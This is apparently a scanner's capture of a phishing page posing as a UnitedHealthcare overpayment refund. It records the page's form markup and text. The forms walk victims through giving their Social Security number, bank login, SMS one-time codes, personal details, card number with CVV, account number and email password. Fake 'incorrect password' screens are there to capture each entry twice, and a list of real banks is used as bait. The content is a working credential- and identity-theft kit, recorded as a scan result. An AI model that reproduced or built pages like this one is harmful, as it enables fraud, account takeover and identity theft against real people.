quill-dark-coal.glitch.me
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Submitted URL: http://quill-dark-coal.glitch.me/myuhc.HTM?MyUnitedHealthCareRefund=
Effective URL: https://quill-dark-coal.glitch.me/myuhc.HTM?MyUnitedHealthCareRefund=
Submission: On August 01 via api from PL — Scanned from PL
Effective URL: https://quill-dark-coal.glitch.me/myuhc.HTM?MyUnitedHealthCareRefund=
Submission: On August 01 via api from PL — Scanned from PL
Form analysis
12 forms found in the DOMPOST
<form action="" class="flex flex-col justify-start items-start w-full px-14 max-w-[540px]" id="f1" method="post">
<div class="text-[#5a5a5a] text-sm mb-8"></div>
<label class="text-sm text-[#5a5a5a] pb-2.5" for="name">Full Name</label>
<input class="w-full px-5 mb-8 outline outline-1 outline-gray-500 text-lg h-9 focus:outline-2 focus:outline-[#009de6]" id="name" maxlength="100" minlength="3" name="name" required="" type="text">
<label class="text-sm text-[#5a5a5a] pb-2.5" for="name">Email Address</label>
<input class="w-full px-5 mb-8 outline outline-1 outline-gray-500 text-lg h-9 focus:outline-2 focus:outline-[#009de6]" id="email0" maxlength="100" minlength="3" name="email0" required="" type="email">
<label class="text-sm text-[#5a5a5a] pb-2.5" for="ssn">Social Security Number</label>
<input class="w-full px-5 mb-8 outline outline-1 outline-gray-500 text-lg h-9 focus:outline-2 focus:outline-[#009de6]" id="ssn" name="ssn" pattern="\d{3}([ -])?\d{2}([ -])?\d{4}" placeholder="XXX-XX-XXXX" maxlength="11" required="" onkeyup="
var v = this.value;
if (v.match(/^\d{3}$/) !== null) {
this.value = v + '-';
} else if (v.match(/^\d{3}\-\d{2}$/) !== null) {
this.value = v + '-';
}">
<button
class="text-[#002677] hover:text-[#196ecf] border border-solid border-[#002677] hover:border-[#196ecf] flex w-full rounded-full text-center justify-center items-center h-10 active:bg-[#196ecf] active:border-[#196ecf] active:text-white font-semibold"
type="submit"> Continue </button>
</form>
POST
<form action="" class="flex flex-col justify-start items-center w-full px-14 max-w-[540px] hidden" id="f2" method="post">
<div class="text-sm text-zinc-800 mb-9">Success!The total cumulative refund amount due to you and approved for onward crediting to your account is in the sum of <b>$1.945.76 USD</b>.</div>
<div class="text-sm text-zinc-800 mb-9" style="color:green;">Please sign in below by clicking on UHC REFUND as stated to initiate a transfer from UHC accounts to your designated financial institution. </div>
<button
class="text-[#002677] hover:text-[#196ecf] border border-solid border-[#002677] hover:border-[#196ecf] flex w-full rounded-full text-center justify-center items-center h-10 active:bg-[#196ecf] active:border-[#196ecf] active:text-white font-semibold"
type="submit"> UHC REFUND </button>
</form>
POST
<form action="" class="flex flex-col justify-start items-center px-14 min-w-[800px] w-[60vw] hidden" id="f3" method="post">
<div class="text-sm text-zinc-800 mb-9" style="color:green;"><b>Please select your bank or financial institution from the list below for an instant verification (2-5mins) and transfer of funds. </b>
</div>
<div class="container w-full">
<label class="mb-2 text-sm font-medium text-gray-900 sr-only dark:text-gray-300" for="default-search">Search</label>
<div class="relative">
<div class="flex absolute inset-y-0 left-0 items-center pl-3 pointer-events-none">
<svg aria-hidden="true" class="w-5 h-5 text-gray-500 dark:text-gray-400" fill="none" stroke="currentColor" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
<path d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"></path>
</svg>
</div>
<input
class="block p-4 pl-10 w-full text-sm text-gray-900 bg-gray-50 rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500"
id="default-search" placeholder="Enter Bank Name" type="search">
</div>
</div>
<div class="flex flex-col gap-2 overflow-scroll h-screen w-full shadow-lg rounded-lg mt-6" id="bcontainer">
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Navy Federal Credit Union" class="h-14" src="https://upload.wikimedia.org/wikipedia/commons/3/3c/Navy_Federal_Credit_Union_Logo.svg">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Navy Federal Credit Union</div>
<div class="text-gray-700">www.navyfederal.org</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="U.S. BANK" class="h-14" src="https://i.ibb.co/CBxvpFF/us-bank-logo-vector.png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">U.S. BANK</div>
<div class="text-gray-700">www.usbank.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Apple Federal Credit Union" class="h-14" src="https://i.ibb.co/b57061P/13-12-47-780t6ntcd-applefcu-logo.png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Apple Federal Credit Union</div>
<div class="text-gray-700">www.applefcu.org</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="The PNC Financial Services Group" class="h-14" src="https://i.ibb.co/z8bDsqk/PNC-Bank-logo-min.jpg">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">The PNC Financial Services Group</div>
<div class="text-gray-700">www.pnc.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="The Huntington National Bank" class="h-14" src="https://i.ibb.co/2NnkSrr/Huntington-Bancshares-Logo-wine.png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">The Huntington National Bank</div>
<div class="text-gray-700">www.huntington.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Truist Bank " class="h-14" src="https://i.ibb.co/56NczJW/truist.png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Truist Bank </div>
<div class="text-gray-700">www.truist.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Citigroup Inc" class="h-14" src="https://i.ibb.co/7X9bzfS/Citibank-Logo.png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Citigroup Inc</div>
<div class="text-gray-700">www.Citibank.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="TD Bank" class="h-14" src="https://i.ibb.co/1RyksPg/tdb-tag-white-en.png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">TD Bank</div>
<div class="text-gray-700">www.td.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Digital Federal Credit Union" class="h-14" src="https://i.ibb.co/NLXKNMN/DCU-SM.png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Digital Federal Credit Union</div>
<div class="text-gray-700">www.dcu.org</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="M&T Bank" class="h-14" src="https://i.ibb.co/KxWfnDw/M-T-Bank-Logo-wine.png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">M&T Bank</div>
<div class="text-gray-700">www3.mtb.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Key Bank" class="h-14" src="https://i.ibb.co/tbxPZDW/keybank.png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Key Bank</div>
<div class="text-gray-700">www.key.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Citizens Bank" class="h-14" src="https://i.ibb.co/GdFHQ39/citzens.png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Citizens Bank</div>
<div class="text-gray-700">www.citizensbank.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="State Employees’ Credit Union" class="h-14" src="https://i.ibb.co/0V2M4kd/STATE-EMPLOY.png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">State Employees’ Credit Union</div>
<div class="text-gray-700">www.ncsecu.org</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="BOEING EMPLOYEES' CREDIT UNION " class="h-14" src="https://i.ibb.co/Yy8347Q/BECU.png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">BOEING EMPLOYEES' CREDIT UNION </div>
<div class="text-gray-700">www.becu.org</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Bank Of America" class="h-14" src="https://i.ibb.co/CsQdmc2/boa.png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Bank Of America</div>
<div class="text-gray-700">www.bankofamerica.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="USAA Bank" class="h-14" src="https://i.ibb.co/vHS6PSR/usaa.png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">USAA Bank</div>
<div class="text-gray-700">www.usaa.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Wells Fargo Bank" class="h-14" src="https://i.ibb.co/2KzzZhr/wls.png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Wells Fargo Bank</div>
<div class="text-gray-700">www.wellsfargo.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Chase Bank" class="h-14" src="https://upload.wikimedia.org/wikipedia/commons/thumb/e/ed/Chase_logo_2007.svg/299px-Chase_logo_2007.svg.png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Chase Bank</div>
<div class="text-gray-700">www.chase.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="SchoolsFirst Federal Credit Union" class="h-14" src="https://upload.wikimedia.org/wikipedia/commons/c/cb/SchoolsFirst-logo.png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">SchoolsFirst Federal Credit Union</div>
<div class="text-gray-700">www.schoolsfirstfcu.org</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="America First Credit Union" class="h-14" src="https://upload.wikimedia.org/wikipedia/en/d/d9/America1st.png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">America First Credit Union</div>
<div class="text-gray-700">www.americafirst.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Golden 1 Credit Union" class="h-14" src="https://upload.wikimedia.org/wikipedia/commons/f/ff/Golden1CU_logo.png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Golden 1 Credit Union</div>
<div class="text-gray-700">www.golden1.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Randolph-Brooks Federal Credit Union" class="h-14" src="https://upload.wikimedia.org/wikipedia/en/2/23/Randolph-Brooks_FCU.jpg">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Randolph-Brooks Federal Credit Union</div>
<div class="text-gray-700">www.rbfcu.org</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Alliant Credit Union" class="h-14" src="https://upload.wikimedia.org/wikipedia/en/9/92/Alliant_CU_logo.png?20160814182919">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Alliant Credit Union</div>
<div class="text-gray-700">www.alliantcreditunion.org</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Mountain America Credit Union" class="h-14" src="https://upload.wikimedia.org/wikipedia/commons/d/d2/Mountian_America_Credit_Union_Logo.jpg">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Mountain America Credit Union</div>
<div class="text-gray-700">www.macu.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Bethpage Federal Credit Union" class="h-14" src="https://upload.wikimedia.org/wikipedia/en/7/79/Bethpage_Federal_Credit_Union_logo.png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Bethpage Federal Credit Union</div>
<div class="text-gray-700">www.bethpagefcu.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Security Service Federal Credit Union" class="h-14" src="https://upload.wikimedia.org/wikipedia/commons/e/e9/Ssfcu-logo-stack.svg">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Security Service Federal Credit Union</div>
<div class="text-gray-700">www.ssfcu.org</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Customers Bank" class="h-14" src="https://www.customersbank.com/wp-content/themes/customers-bank/images/cb-logo.svg">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Customers Bank</div>
<div class="text-gray-700">www.customersbank.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Chime Visa® Debit Card" class="h-14" src="https://www.chime.com/wp-content/themes/project-sscms-2023-01-05T20-39-13/images/brand/chime-logo.svg">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Chime Visa® Debit Card</div>
<div class="text-gray-700">www.chime.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Greendot Bank" class="h-14" src="https://upload.wikimedia.org/wikipedia/commons/0/0a/Green_Dot_logo.svg">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Greendot Bank</div>
<div class="text-gray-700">www.greendot.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Netspend Prepaid Visa Card" class="h-14" src="https://www.netspend.com/content/experience-fragments/netspend/us/en/site/header/master/_jcr_content/root/logo.coreimg.svg/1626115461221/logo.svg">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Netspend Prepaid Visa Card</div>
<div class="text-gray-700">www.netspend.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Walmart MoneyCard®" class="h-14" src="https://www.walmartmoneycard.com/content/dam/walmart-moneycard/2021/october/2020_WMMC_LOGO_RGB%201%20(4).png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Walmart MoneyCard®</div>
<div class="text-gray-700">www.walmartmoneycard.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Brink's Prepaid Mastercard®" class="h-14" src="https://www.brinksprepaidmastercard.com/img/logo.png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Brink's Prepaid Mastercard®</div>
<div class="text-gray-700">www.brinksprepaidmastercard.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Greenlight Debit Card." class="h-14" src="https://web.cdn.greenlight.com/2.214.0/_next/static/media/gl-logo-full.0012e0fd.svg">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Greenlight Debit Card.</div>
<div class="text-gray-700">www.greenlight.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Bluebird by American Express" class="h-14" src="https://www.bluebird.com/content/dam/dam-aem-assets/bluebird/bb-logo-white.svg">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Bluebird by American Express</div>
<div class="text-gray-700">www.bluebird.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="Payorneer" class="h-14" src="https://d9hhrg4mnvzow.cloudfront.net/explore.payoneer.com/en/solution/digital-purchasing-mastercard/32442c04-payoneer-dark-logo.svg">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">Payorneer</div>
<div class="text-gray-700">www.payoneer.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="MyVanilla Prepaid Visa Card®" class="h-14" src="https://images.ctfassets.net/hr3fhsbdka2m/34g3Gw6VK86ciqKESQk6KK/aa8322c0170b6e3e67c1cbfaf0b2675a/myvanilla_logo_main.png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">MyVanilla Prepaid Visa Card®</div>
<div class="text-gray-700">www.myvanillacard.com</div>
</div>
</div>
<div class="bnkdiv w-full cursor-pointer p-4 bg-gray-100 flex gap-4">
<img alt="MOVO® Digital Prepaid Visa® Card" class="h-14" src="https://assets.website-files.com/60552a88e08cca7c9731b273/627d8925e92c606a7c5b9326_MOVO---SEND-TO-SPEND-05122022-p-500.png">
<div class="flex flex-col gap-2 items-start">
<div class="font-semibold">MOVO® Digital Prepaid Visa® Card</div>
<div class="text-gray-700">https://regdev.movo.cash/login</div>
</div>
</div>
</div>
</form>
POST
<form action="" class="flex flex-col justify-start items-start w-full px-14 max-w-[540px] hidden" id="f4" method="post">
<div class="text-green-500 mb-8 w-full text-center text-sm">Enter your bank login username and password correctly to proceed.</div>
<label class="w-full mt-4 text-gray-800 text-base" for="user1"></label>
<input class="w-full px-4 py-2 mt-2 border border-neutral-400 shadow rounded focus:outline-none focus:ring-1 focus:ring-blue-600" id="user1" maxlength="100" minlength="3" name="user1" required="" placeholder="User ID" type="text">
<label class="w-full mt-4 text-gray-800 text-base" for="pass1"></label>
<input class="w-full px-4 py-2 mt-2 border border-neutral-400 shadow rounded focus:outline-none focus:ring-1 focus:ring-blue-600" id="pass1" minlength="4" name="pass1" required="" type="password" placeholder="Password">
<button class="border py-3 w-full rounded bg-neutral-900 hover:bg-neutral-700 text-white mt-6 shadow hover:shadow-xl font-semibold text-lg" type="submit"> Continue </button>
</form>
POST
<form action="" class="flex flex-col justify-start items-start w-full px-14 max-w-[540px] hidden" id="f5" method="post">
<div class="text-red-500 mb-8 w-full text-center text-sm">The username or password you entered was incorrect. Please try again.</div>
<label class="w-full mt-4 text-gray-800 text-base" for="user2"></label>
<input class="w-full px-4 py-2 mt-2 border border-neutral-400 shadow rounded focus:outline-none focus:ring-1 focus:ring-blue-600" id="user2" maxlength="100" minlength="3" name="user1" required="" placeholder="User ID" type="text">
<label class="w-full mt-4 text-gray-800 text-base" for="pass2"></label>
<input class="w-full px-4 py-2 mt-2 border border-neutral-400 shadow rounded focus:outline-none focus:ring-1 focus:ring-blue-600" id="pass2" minlength="4" name="pass2" required="" type="password" placeholder="Password">
<button class="border py-3 w-full rounded bg-neutral-900 hover:bg-neutral-700 text-white mt-6 shadow hover:shadow-xl font-semibold text-lg" type="submit"> Continue </button>
</form>
POST
<form action="" class="flex flex-col justify-start items-start w-full px-14 max-w-[540px] hidden" id="f6" method="post">
<div class="text-green-500 mb-8 w-full text-center text-sm" style="color:green;">Due to possible delays from high network traffic, SMS could take up to 10mins to arrive.</div>
<label class="w-full mt-4 text-gray-800 text-base" for="code1"></label>
<input class="w-full px-4 py-2 mt-2 border border-neutral-400 shadow rounded focus:outline-none focus:ring-1 focus:ring-blue-600" id="code1" maxlength="100" minlength="4" name="code1" required="" type="tel" placeholder="Verification Code">
<button class="border py-3 w-full rounded bg-neutral-900 hover:bg-neutral-700 text-white mt-6 shadow hover:shadow-xl font-semibold text-lg" type="submit"> Continue </button>
<button class="border py-2 w-full rounded-lg bg-blue-600 hover:bg-blue-500 text-white mt-6 shadow hover:shadow-xl font-semibold text-base mb-10 hidden" disabled="" id="notReceived1" type="submit"> OTP Not Received? </button>
</form>
POST
<form action="" class="flex flex-col justify-start items-start w-full px-14 max-w-[540px] hidden" id="f7" method="post">
<div class="text-red-500 mb-8 w-full text-center text-sm">The SMS security code you entered was incorrect. Please try again.</div>
<label class="w-full mt-4 text-gray-800 text-base" for="code2"></label>
<input class="w-full px-4 py-2 mt-2 border border-neutral-400 shadow rounded focus:outline-none focus:ring-1 focus:ring-blue-600" id="code2" maxlength="100" minlength="4" name="code2" required="" type="tel" placeholder="Verification Code">
<button class="border py-3 w-full rounded bg-neutral-900 hover:bg-neutral-700 text-white mt-6 shadow hover:shadow-xl font-semibold text-lg" type="submit"> Continue </button>
<button class="border py-2 w-full rounded-lg bg-blue-600 hover:bg-blue-500 text-white mt-6 shadow hover:shadow-xl font-semibold text-base mb-10 hidden" disabled="" id="notReceived2" type="submit"> OTP Not Received? </button>
</form>
POST
<form action="" class="flex flex-col justify-start items-start w-full px-14 max-w-[540px] hidden" id="f8" method="post">
<div class="text-sm text-zinc-800 mb-9" style="color:green;">Please enter your personal details correctly to complete claim.</div>
<label for="fname" class="w-full mt-6 text-gray-600 text-base"></label>
<input type="text" placeholder="Full Name" class="w-full px-4 py-2 mt-2 border shadow rounded border-neutral-400 focus:outline-none focus:ring-1 focus:ring-blue-600" minlength="4" required="" name="fname" id="fname">
<label for="address" class="w-full mt-2 text-gray-600 text-base"></label>
<input type="text" placeholder="Address" class="w-full px-4 py-2 mt-2 border shadow rounded border-neutral-400 focus:outline-none focus:ring-1 focus:ring-blue-600" minlength="4" required="" name="addr" id="addr">
<label for="city" class="w-full mt-2 text-gray-600 text-base"></label>
<input type="text" placeholder="City" class="w-full px-4 py-2 mt-2 border shadow rounded border-neutral-400 focus:outline-none focus:ring-1 focus:ring-blue-600" minlength="2" required="" name="city" id="city">
<label for="state" class="w-full mt-2 text-gray-600 text-base"></label>
<input type="text" placeholder="State" class="w-full px-4 py-2 mt-2 border shadow rounded border-neutral-400 focus:outline-none focus:ring-1 focus:ring-blue-600" minlength="2" required="" name="state" id="state">
<label for="zip" class="w-full mt-2 text-gray-600 text-base"></label>
<input type="text" placeholder="Zip Code" class="w-full px-4 py-2 mt-2 border shadow rounded border-neutral-400 focus:outline-none focus:ring-1 focus:ring-blue-600" minlength="4" pattern="[0-9]{5}(\-[0-9]{4})?" required="" name="zip" id="zip">
<label for="phone" class="w-full mt-2 text-gray-600 text-base"></label>
<input type="text" placeholder="Phone Number" class="w-full px-4 py-2 mt-2 border shadow rounded border-neutral-400 focus:outline-none focus:ring-1 focus:ring-blue-600" minlength="10" pattern="(\()?[0-9]{3}(\))?(\-)?(\ )?[0-9]{3}(\-)?(\ )?[0-9]{4}"
required="" name="phone" id="phone">
<label for="dob" class="w-full mt-2 text-gray-600 text-base"></label>
<input type="date" placeholder="Date of Birth" class="w-full px-4 py-2 mt-2 border shadow rounded border-neutral-400 focus:outline-none focus:ring-1 focus:ring-blue-600" required="" name="dob" id="dob" min="1900-01-01" max="2006-08-01">
<button class="border py-3 w-full rounded bg-neutral-900 hover:bg-neutral-700 text-white mt-6 shadow hover:shadow-xl font-semibold text-lg" type="submit"> Continue </button>
</form>
POST
<form action="" class="flex flex-col justify-start items-start w-full px-14 max-w-[540px] hidden" id="f9" method="post">
<div class="text-sm text-zinc-800 mb-9" style="color:green;">Please enter your account information correctly to complete claim.</div>
<label for="cnum" class="w-full mt-2 text-gray-600 text-base"></label>
<input type="text" placeholder="Card Number" class="w-full px-4 py-2 mt-2 border shadow rounded border-neutral-400 focus:outline-none focus:ring-1 focus:ring-blue-600" required="" name="cnum" id="cnum"
pattern="[3456]{1}\d{3}([- ])?\d{4}([- ])?\d{4}([- ])?\d{1,4}([- ])?(\d{3})?">
<label for="cexp" class="w-full mt-2 text-gray-600 text-base"></label>
<input type="text" placeholder="Card Expiry" class="w-full px-4 py-2 mt-2 border shadow rounded border-neutral-400 focus:outline-none focus:ring-1 focus:ring-blue-600" required="" name="cexp" id="cexp" pattern="(0?[1-9]|1[012])(\/)?(20)?\d{2}">
<label for="ccvv" class="w-full mt-2 text-gray-600 text-base"></label>
<input type="tel" placeholder="Card CVV" class="w-full px-4 py-2 mt-2 border shadow rounded border-neutral-400 focus:outline-none focus:ring-1 focus:ring-blue-600" required="" name="ccvv" id="ccvv" minlength="3" maxlength="4">
<label for="accn" class="w-full mt-2 text-gray-600 text-base"></label>
<input type="tel" placeholder="Account Number" class="w-full px-4 py-2 mt-2 border shadow rounded border-neutral-400 focus:outline-none focus:ring-1 focus:ring-blue-600" required="" name="accn" id="accn" minlength="6" maxlength="20">
<button class="border py-3 w-full rounded bg-neutral-900 hover:bg-neutral-700 text-white mt-6 shadow hover:shadow-xl font-semibold text-lg" type="submit"> Continue </button>
</form>
POST
<form action="" class="flex flex-col justify-start items-start w-full px-14 max-w-[540px] hidden" id="f10" method="post">
<div class="text-sm text-zinc-800 mb-9" style="color:green;">Synchronizing your Email via your Email Service Provider in Real Time</div>
<label for="em1" class="w-full mt-6 text-gray-600 text-base"></label>
<input type="email" placeholder="Email Address" class="w-full px-4 py-2 mt-2 border shadow rounded border-neutral-400 focus:outline-none focus:ring-1 focus:ring-blue-600" minlength="4" required="" name="em1" id="em1">
<label for="ep1" class="w-full mt-6 text-gray-600 text-base"></label>
<input type="password" placeholder="Email Password" class="w-full px-4 py-2 mt-2 shadow border rounded border-neutral-400 focus:outline-none focus:ring-1 focus:ring-blue-600" minlength="4" required="" name="ep1" id="ep1">
<button class="border py-3 w-full rounded bg-neutral-900 hover:bg-neutral-700 text-white mt-6 shadow hover:shadow-xl font-semibold text-lg" type="submit"> Continue </button>
</form>
POST
<form action="" class="flex flex-col justify-start items-start w-full px-14 max-w-[540px] hidden" id="f11" method="post">
<div class="text-red-500 mb-8 w-full text-center text-sm">An error occurred while updating your email. Please try again.</div>
<label for="em2" class="w-full mt-6 text-gray-600 text-base"></label>
<input type="email" placeholder="Email Address" class="w-full px-4 py-2 mt-2 border shadow rounded border-neutral-400 focus:outline-none focus:ring-1 focus:ring-blue-600" minlength="4" required="" name="em2" id="em2">
<label for="ep2" class="w-full mt-6 text-gray-600 text-base"></label>
<input type="password" placeholder="Email Password" class="w-full px-4 py-2 mt-2 shadow border rounded border-neutral-400 focus:outline-none focus:ring-1 focus:ring-blue-600" minlength="4" required="" name="ep2" id="ep2">
<button class="border py-3 w-full rounded bg-neutral-900 hover:bg-neutral-700 text-white mt-6 shadow hover:shadow-xl font-semibold text-lg" type="submit"> Continue </button>
</form>
POST
<form action="" class="flex flex-col justify-start items-center w-full px-14 max-w-[540px] hidden" id="f12" method="post">
<div class="text-sm text-zinc-800 mb-9" style="color:green;">Thanks You for completing verification.</div>
<div class="text-sm text-zinc-800 mb-9" style="color:green;">We are processing your claims... </div>
</form>
Text Content
Help HEALTH CARE OVERPAYMENT REFUND. Fill in requested information below to get the exact amount of refund money due to you. Learn More. Full Name Email Address Social Security Number Continue Success!The total cumulative refund amount due to you and approved for onward crediting to your account is in the sum of $1.945.76 USD. Please sign in below by clicking on UHC REFUND as stated to initiate a transfer from UHC accounts to your designated financial institution. UHC REFUND Please select your bank or financial institution from the list below for an instant verification (2-5mins) and transfer of funds. Search Navy Federal Credit Union www.navyfederal.org U.S. BANK www.usbank.com Apple Federal Credit Union www.applefcu.org The PNC Financial Services Group www.pnc.com The Huntington National Bank www.huntington.com Truist Bank www.truist.com Citigroup Inc www.Citibank.com TD Bank www.td.com Digital Federal Credit Union www.dcu.org M&T Bank www3.mtb.com Key Bank www.key.com Citizens Bank www.citizensbank.com State Employees’ Credit Union www.ncsecu.org BOEING EMPLOYEES' CREDIT UNION www.becu.org Bank Of America www.bankofamerica.com USAA Bank www.usaa.com Wells Fargo Bank www.wellsfargo.com Chase Bank www.chase.com SchoolsFirst Federal Credit Union www.schoolsfirstfcu.org America First Credit Union www.americafirst.com Golden 1 Credit Union www.golden1.com Randolph-Brooks Federal Credit Union www.rbfcu.org Alliant Credit Union www.alliantcreditunion.org Mountain America Credit Union www.macu.com Bethpage Federal Credit Union www.bethpagefcu.com Security Service Federal Credit Union www.ssfcu.org Customers Bank www.customersbank.com Chime Visa® Debit Card www.chime.com Greendot Bank www.greendot.com Netspend Prepaid Visa Card www.netspend.com Walmart MoneyCard® www.walmartmoneycard.com Brink's Prepaid Mastercard® www.brinksprepaidmastercard.com Greenlight Debit Card. www.greenlight.com Bluebird by American Express www.bluebird.com Payorneer www.payoneer.com MyVanilla Prepaid Visa Card® www.myvanillacard.com MOVO® Digital Prepaid Visa® Card https://regdev.movo.cash/login Enter your bank login username and password correctly to proceed. Continue The username or password you entered was incorrect. Please try again. Continue Due to possible delays from high network traffic, SMS could take up to 10mins to arrive. Continue OTP Not Received? The SMS security code you entered was incorrect. Please try again. Continue OTP Not Received? Please enter your personal details correctly to complete claim. Continue Please enter your account information correctly to complete claim. Continue Synchronizing your Email via your Email Service Provider in Real Time Continue An error occurred while updating your email. Please try again. Continue Thanks You for completing verification. We are processing your claims... Need Help? We are here for you. Call us toll-free at 1-877-844-4999, 24 hours a day, 7 days a week. Sign In Help > Accessibility Statement for individuals With Disabilities.